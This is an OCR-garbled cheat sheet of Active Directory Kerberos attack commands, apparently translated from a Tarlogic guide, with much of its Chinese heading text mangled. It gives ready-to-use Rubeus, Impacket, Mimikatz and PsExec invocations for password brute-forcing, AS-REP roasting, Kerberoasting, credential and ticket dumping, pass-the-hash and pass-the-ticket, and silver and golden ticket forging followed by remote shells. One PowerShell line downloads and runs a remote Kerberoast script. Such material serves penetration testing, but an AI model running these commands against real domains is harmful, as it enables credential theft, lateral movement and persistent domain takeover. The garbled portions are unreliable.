0x01 RIfERE

{EFBkerbrute.py :

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -
outputfile <output_file>

(ERHERIRBERRAIRUbe USRS

# with a Tist of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name>
/outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>

0x02 ASPEPRoast

fEEAImpacketAY7~GetNPUsers.py :

# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format
<AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

# check ASREPRoast for a 1list of users (no credentials required)
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format
<AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

{$EFHRubeus:

# check ASREPRoast for all users in current domain
.\Rubeus.exe asreproast /format:<AS_REP_responses_format [hashcat | john]> /outfile:
<output_hashes_file>

RO EARAR -

hashcat -m 18200 -a 0 <AS_REP_responses_file> <passwords_file>
john --wordlist=<passwords_file> <AS_REP_responses_file>

0x03 KerberoastingIi;


af://n2
https://github.com/TarlogicSecurity/kerbrute
https://github.com/Zer1t0/Rubeus
af://n8
https://github.com/SecureAuthCorp/impacket
https://github.com/GhostPack/Rubeus
af://n16

fEEAImpacket/~jlGetUserSPNs.py :

python GetUserSPNs.py <domain_name>/<domain_users>:<domain_user_password> -outputfile
<output_TGSs_file>

f$EARubeus:

.\Rubeus.exe kerberoast /outfile:<output_TGSs_file>

{EFAPowershell :

iex (new-object

Net.webClient) .DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/maste
r/data/module_source/credentials/Invoke-Kerberoast.psl")

Invoke-Kerberoast -outputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | out-File -
Encoding ASCII <output_TGSs_file>

B

S ERARE
hashcat -m 13100 --force <TGSs_file> <passwords_file>

john --format=krb5tgs --wordlist=<passwords_file> <AS_REP_responses_file>

0x04 Pass The Hash & Pass The Key

BIIERImpacketz~l :

# Request the TGT with hash

python getTGT.py <domain_name>/<user_name> -hashes [Im_hash]:<ntlm_hash>

# Request the TGT with aeskey (more secure encryption, probably more stealth due is the
used by default by Microsoft)

python getTGT.py <domain_name>/<user_name> -aesKey <aes_key>

# Request the TGT with password

python getTGT.py <domain_name>/<user_name>: [password]

# If not provided, password is asked

# Set the TGT for impacket use
export KRB5CCNAME=<TGT_ccache_file>

# Execute remote commands with any of the following by using the TGT

python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

fEFRubeusfOPsExec :



https://github.com/SecureAuthCorp/impacket
https://github.com/GhostPack/Rubeus
af://n25
https://github.com/SecureAuthCorp/impacket
https://github.com/GhostPack/Rubeus
https://docs.microsoft.com/en-us/sysinternals/downloads/psexec

# Ask and inject the ticket
.\Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt

# Execute a cmd in the remote machine
.\PsExec.exe -accepteula \\<remote_hostname> cmd

0x05 Pass The Ticket (PTT)
MLinuxrR3xStickets
feEticketsRISEBIFNNE -

grep default_ccache_name /etc/krb5.conf

WNRIZBIRE] , MERIASIFILE : /tmp/krb5cc_%{uid}
AR Rtickets3F , MATLASHIFENG (WRERIR ) LMEREL].

ANERZKEYRING tickets , fREJLASFE A tickeyRIREN

# To dump current user tickets, if root, try to dump them all by injecting in other user
processes

# to inject, copy tickey in a reachable folder by all users

cp tickey /tmp/tickey

/tmp/tickey -i

MWindowsHizxStickets

{ERAMimikatz :
mimikatz # sekurlsa::tickets /export
fEPowershelld{gFERubeus :

.\Rubeus dump

# After dump with Rubeus tickets in base64, to write the in a file
[10.File]::writeAllBytes("ticket.kirbi", [Convert]::FromBase64String("<bas64_ticket>"))

{&Eticket converter.pyfELinux / Windowst&m, < [EJ4&#ttickets :

python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi

ELinuxAR{EHticket :
fEEAImpacketzwfl :



af://n30
https://github.com/TarlogicSecurity/tickey
https://github.com/gentilkiwi/mimikatz
https://github.com/GhostPack/Rubeus
https://github.com/Zer1t0/ticket_converter
https://github.com/SecureAuthCorp/impacket

# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_f1ile_path>

# Execute remote commands with any of the following by using the TGT

python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

EWindowsHi{&Eticket :

fEMimikatziF A\ticket :

mimikatz # kerberos::ptt <ticket_kirbi_file>

{#EFRubeus;E Aticket :
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
sEFAPsExe IR T B A Tcmd

.\PsExec.exe -accepteula \\<remote_hostname> cmd

0x06 Silver ticket

fEAImpacket~fl :

# To generate the TGS with NTLM
python ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn
<service_spn> <user_name>

# To generate the TGS with AES key
python ticketer.py -aeskey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn
<service_spn> <user_name>

# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>

# Execute remote commands with any of the following by using the TGT

python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

{EFEMimikatz:


https://github.com/gentilkiwi/mimikatz
https://github.com/GhostPack/Rubeus
https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
af://n55
https://github.com/SecureAuthCorp/impacket
https://github.com/gentilkiwi/mimikatz

# To generate the TGS with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:
<user_name> /service:<service_name> /target:<service_machine_hostname>

# To generate the TGS with AES 128 key

mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:
<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:
<service_machine_hostname>

# To generate the TGS with AES 256 key (more secure encryption, probably more stealth due
is the used by default by Microsoft)

mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:
<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:

<service_machine_hostname>

# Inject TGS with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>

{8/ Rubeusj¥ Aticket :

.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

{EFAPsExecfEmZH BEHFHITCcmd

.\PsExec.exe -accepteula \\<remote_hostname> cmd

0x07 Golden ticket

55/ Impacket 7~ :

# To generate the TGT with NTLM
python ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain
<domain_name> <user_name>

# To generate the TGT with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name>
<user_name>

# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>

# Execute remote commands with any of the following by using the TGT

python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

{EF Mimikatz:


https://github.com/GhostPack/Rubeus
https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
af://n65
https://github.com/SecureAuthCorp/impacket
https://github.com/gentilkiwi/mimikatz

# To generate the TGT with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash>
/user:<user_name>

# To generate the TGT with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:
<krbtgt_aes128_key> /user:<user_name>

# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due
is the used by default by Microsoft)

mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:
<krbtgt_aes256_key> /user:<user_name>

# Inject TGT with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>

fEFERubeus;E Aticket :

.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

EAPsExectEinf2It EAHHITCmMd

.\PsExec.exe -accepteula \\<remote_hostname> cmd

0x08 Z:IR
ERIZERDIREINTLM :

python -c "import hashlib,binascii; print binascii.hex1ify(hashlib.new("md4",
<password>".encode("utf-16Te™")).digest())"'

https://www.tarlogic.com/en/blog/how-to-attack-kerberos/
https://gist.github.com/TarlogicSecurity/2f221924fef8cl4ald8e29f3cb5c5c4a

MNERBRSEFMEBMTARRS L |, RDSAAAIIEHRAIRNRS —EEXRE— T, RIS,


https://github.com/GhostPack/Rubeus
https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
af://n75
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